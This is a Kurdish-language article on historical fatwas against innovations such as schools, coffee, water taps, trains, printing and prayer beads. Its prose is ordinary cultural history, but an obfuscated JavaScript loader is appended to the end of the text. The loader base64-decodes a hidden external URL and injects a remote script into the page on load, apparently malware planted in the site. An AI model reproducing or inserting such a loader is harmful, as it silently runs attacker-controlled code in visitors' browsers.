فه‌توا د چه‌ند به‌رپه‌ڕان دا
محسن عه‌بدولره‌حمان
فه‌توا: دان و ده‌ركرنا حوكمه‌كێ شه‌رعی یه بۆ كه‌سێ پڕسیاركه‌ر، رۆهنكرن و نیشادانا پرسیاركه‌رییه ب حوكمێ شه‌رعی. د موسلمانه‌تیێ دا ده‌ما گومان كه‌فته سه‌ر تشته‌كی پێدڤی ب بۆچوونا زانایێن دینی دبیت، هینگێ بریارا وان دبیته فه‌توا. ئه‌ڤه چه‌ند نموونه‌كن:
ده‌مێ حوكمه‌تا ئیراقێ ده‌ست ب ڤه‌كرنا خواندنگه‌هان كری، هنده‌ك مه‌لا چوونا وان خواندنگه‌هان حه‌رامكر، ئه‌ڤ حه‌رامكرنێ دگه‌ل حه‌زكرنا ته‌بایا خه‌لكی گۆنجا، ئه‌نجام ژی كێمییا چوونا خه‌لكی بوو، لێ دگه‌ل زێده‌بوونا حه‌زكرنا خه‌لكی بۆ كارێ میری هه‌لوه‌ستێ مللی ب دروستی به‌روڤاژی بوو، چنكو ژبلی خوانده‌ڤانان كه‌س لێ نه‌دهاته وه‌رگرتن، د هه‌مان ده‌م دا هه‌لوه‌ست ژ خواندنگه‌هێن كچان دژوارتربوو، چنكو خه‌لكی هزردكر فێربوونا ژنێ بۆ خواندن و نڤێسینێ دێ بیته ئه‌گه‌رێ سه‌ردابرنا وێ و دێ شه‌رمزاریێ بۆ وان ئینیت، د ڤی چارچووڤه‌ی دا فیقهه‌زانی ئیراقی نوعمانێ ئالۆسی ل داویا چه‌رخێ نزدێ په‌رتووكه‌ك ب ناڤێ (الإصابه فی منع النسا‌و من الكتابه) دانا.
• هه‌ر ژ دیاربوونا قه‌هوه‌یێ ل ده‌ستپێكا چه‌رخێ شازدێ و ڤه‌گوهاستنا وێ ژ وه‌لاتێ یه‌مه‌نێ بۆ مسر و حیجازێ.. شه‌ره‌كێ فقهه‌یێ گه‌رم ده‌ستپێكر، د ناڤدا رویدانین دژوار هه‌بوون، حه‌رامكرنا قه‌هوێ دو چه‌رخان ڤه‌كێشا، كو ناكۆكی ل دۆر حه‌رامكرنا وێ یا به‌رده‌وامبوو، ب به‌هانه‌یا ئه‌و ژ یا سه‌رخۆشكه‌ره و بۆ مێشك و جه‌سته‌ی تێكده‌ره و مه‌ترسییا وێ ژ یا مه‌ی دژوارتره.
(شه‌رێ قه‌هوا فقهی) بۆ قاهیره و پاشی ستانبولێ هاته ڤه‌گۆهاستن، ئینا فه‌توا و فرمانێن سولتانی ب حه‌رامكرنا قه‌هوێ و قه‌ده‌غه‌كرنا ڤه‌خوارنا وێ ده‌رچوون، پۆلیسان راهێلانه ڤه‌خوه‌رێن وێ و كاكۆكی ئارام نه‌بوو، تاكو مفتییه‌كێ نوی ل سه‌رده‌مێ مرادێ سێیێ ئه‌وێ راگه‌هاندی، كو ڤه‌خوارنا قه‌هوێ شه‌رعه‌ن نه حه‌رامه!.
*فه‌توا زه‌مبه‌لێ – حنفیه:
توماس كامبیلی ل 1880یێ سالا داهێنانا خۆ ب (Faucet – زه‌مبه‌له) ناڤكر، ئانكو ب ئه‌ره‌بی (صنبور) ڤێچا ناڤێ (حنفیه) ژ چ هاتییه؟
ل داوییا چه‌خێ نۆزدێ ب دروستی ل سالا 1848ێ، ئێكه‌م زه‌مبه‌له بو مزگه‌فتا محه‌مه‌د عه‌لی ل (القلعه – كه‌لا سه‌لاحه‌دینێ ئه‌یوبی) هاته دانان، ل ڤێره ناكوكییه‌كا به‌رفره‌هـ د رێره‌وێن (اروقه) ئه‌زهه‌رێدا ل دور دانانا بورییا و زه‌مبه‌له‌یا (حنفی) ل مزگه‌فتێ كو خه‌لكی ب گوزك و مه‌سینان ده‌ستنڤێژ دشووشتن و پاشی بۆ مالێن مسرییان ژی كێشان، كو كه‌له‌ك مسرییا ئێدی ئاڤ ژ سه‌قافا نه‌كڕی ئه‌وێن ب پاره ئاڤ د گه‌هانده مالان.
له‌ورا سه‌قاف به‌ر ب ئیمامێن هه‌ر چار ئۆلزایان (مه‌زهب) چوون، دا فه‌توایه‌كێ بده‌ن كو ئاڤا زه‌مبه‌لان بۆ ده‌ستنڤێژێ نابیت، ئینا ئیمامێن حه‌نبه‌لی رازیبوون و فه‌توا دان كو ئاڤا زه‌مبه‌لان بیدعه‌كا ئاشكرایه و بۆ ده‌ستنڤێژ و پاككرنێ نابیت، د ده‌مه‌كی دا ئیمامێن زۆلزایا شافعیێ داكوكی كر ك بابه‌ت پێدڤی دانوستاندنه‌ك درێژه، د به‌رامبه‌ردا ئیمامێن حه‌نه‌فی ب ره‌واییا ئاڤا زه‌مبه‌لێ و ده‌ستنڤێژ شووشتنێ پێدا، ژ ڤێ چه‌ندێ ناڤكرنا مسرییان بۆ زه‌مبه‌لێ ب (حه‌نه‌فی) هات.
(سید الخلفاوی، الیوم السابع، الاحد28 نوفمبر2021.)
• ل سالێن شێستان فه‌توایێن حه‌رامكرنێ گه‌هشتنه ته‌له‌فزیۆنێ و به‌رفره‌هبوون دا بگه‌هنه ئامیره‌یێن ڤیدیۆ و كاسێت و وێنه‌یێن فوتوگرافی تا دگه‌هیته سه‌ته‌لایتێ.. دا فه‌توایێن حه‌رامكرنا ئه‌نترنێتێ و مۆبایلا ب كامیره ل گه‌ل ئه‌لندا هزارا سێیێ ده‌ركه‌ڤن و ل هنده‌ك ده‌وله‌تێن ئه‌ره‌بی بهێنه قه‌ده‌غه‌كرن. ئه‌ڤه ژبلی حه‌رامكرنا مریشكێن به‌رازیلی و گۆشتێ رۆست و… جڤاك به‌رهنگارییه‌ك دژواردكه‌ن، لێ ل داویێ پێدڤیێن پێشكه‌فتن و كه‌شه‌كرنێ خۆ دسه‌پینن.
(محه‌مه‌د داودیه، دستور، 19 كانوونا ئێكێ، 2018)
• ل سالا 1915ێ ئێكه‌م شه‌مه‌نده‌فر د ناڤبه‌را به‌غدا و سامرا كه‌فته كاری، مه‌لا فه‌توایه‌كا دینی دژی سواربوونا (شه‌مه‌نده‌فرێ) ده‌رئێخستن و ئه‌ڤه ده‌قێ فه‌توایێ یه:
ب ناڤێ خودایێ دلۆڤانكار م میهره‌بان
(كه‌رێن خودێ دهێلن و ل شه‌مه‌نده‌فرێ سواردبن. نه‌فره‌تا خودێ ل وان بیت. نه‌فره‌تا خودێ ل هه‌ر كه‌سێ ل (شه‌مه‌نده‌فر)ێ سواربیت و هاندانا سواربوونا وێ بكه‌ت…
•”ده‌می ئێكه‌م ترومبێل هاتییه وه‌لاتێ مه‌غریب، وه‌كو هه‌رجار فقهزانا حه‌رامكر و ئه‌گه‌رێ حه‌رامكرنێ، ئه‌وه ئه‌و نزانن چ وێ دلڤینیت، ده‌مێ ترومبێل ل هه‌ر جهی مشه‌بووین، فقهزان لێ سواربوون و متمانه ل سه‌ر كورتییا بیردانكا خه‌لكی كرن”. (هزرمه‌ندێ ئه‌مازیغ (ئه‌حمه‌د عه‌سید).
• نموونه‌یێن گه‌مژه‌ییا ئه‌ڤرۆ ب ئاشۆپی دبینین، د لیسته‌یێن درێژدا هه‌نه، نێزیكه هه‌می ده‌ستكه‌ڤتێن ژیانا هه‌ڤچه‌رخ و داهێنانێن وێ ڤه‌گریت، كو هنده‌ك فقهزان ل دژ راوه‌ستیان و شیرێ دوژمنی و حه‌رامكرنێ ل دژی هه‌ر تشتێ نوی هه‌لكێشا.
لێ خواستا جڤاكان بۆ ڤێراگه‌هشتنا كاروانێ شارستانی و گه‌شه‌پێدانێ، ژ وان فه‌توایێن ده‌م ب سه‌رڤه‌چووی ب هێزتربوو، ئینا ئه‌و ده‌ستكه‌فت به‌لاڤبوون، سه‌رباری فه‌توایێن حه‌رامكرنێ یێن خودانێن وان هه‌ر زوی لێڤه‌بووین.
ژ وانا به‌رهنگارییا دژوارا مه‌لایێن ده‌وله‌تا ئوسمانی بۆ داهێنانا چاپكرنێ، ئه‌وان ف‌توا ب حه‌رامكرن وێ و گاوركرنا هه‌ر كه‌سێ بكاربینیت ده‌رئێخست، ب به‌هانه‌یا شێواندنا قورئانێ و په‌رتووكێن شه‌رعی، ئینا موسلمان بو نێزیكی دو چه‌رخان ژ ڤێ داهێنانێ زڕبه‌هركرن، كو ژ گرنگترین هۆیێن پێسكه‌فتنا ئه‌ورۆپا بوو.
• تزبی:
د جڤاكێن موسلمانان دا، تزبی ب وه‌رزێن ئۆلی یێن ده‌ستنیشانكریڤه هاته به‌ستن، كو وه‌ك دیارییێن تایبه‌ت ل وه‌رزێ حه‌ج و عومرێ دهێنه پێشكێشكرن، د مه‌ها ره‌مه‌زانێ دا وه‌كو هێمایه‌ك بۆ ئۆلدارییا گرێدایی ڤێ هه‌یڤێ ب شێوه‌یه‌كێ به‌رفره‌هـ دهێنه بكارئینان، سه‌رباری به‌لگه‌یێن مێژوویی، كو دبێژن تزبی پش مێژوویێ هه‌بوون، لێ د هزرا هنده‌كان دا تزبی تنێ ب موسلمانه‌تیێ ڤه گرێداینه. مێژوویا تزبییان د موسلمانه‌تیێ دا ل په‌ی په‌رتووكا (السبحه.. تاریخها وأحكامها) دیاردكه‌ت، كو ژ ده‌ستپێكا موسلمانه‌تییێ و تا چه‌رخێ دویێ یێ مشه‌ختی موسلمانان نه‌دزانی تزبییان بكاربینن، پاشی ل ناڤه‌راستا چه‌رخێ دویێ بكارئینانا وان به‌لاڤبوو، لێ ئه‌و د ناڤبه‌را حه‌لالكرن و حه‌رامكرنێدا بوو، تاكو ل چه‌رخێ پازدێ زایینی هنده‌ك ده‌نگێن مانده‌لكرنا وان بلندبوون، لێ هنده‌ك زانایان ده‌ستویرییا ره‌واییا بكارئینانا وان (فه‌توا) ده‌رئیخستن، ب به‌هانه‌یا ته‌سبیحكرنێ ل شوینا تبلان ، لێ هه‌ر چێكرنا تزبییان ب هه‌می ره‌نگێن وان بۆ سۆفییان دهێته ڤه‌دگه‌ڕاندن.
(تزبی، محسن عه‌بدلڕه‌حمان، گۆڤارا مه‌تین، ٢٤٧، گولانا ٢٠٢٤)(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
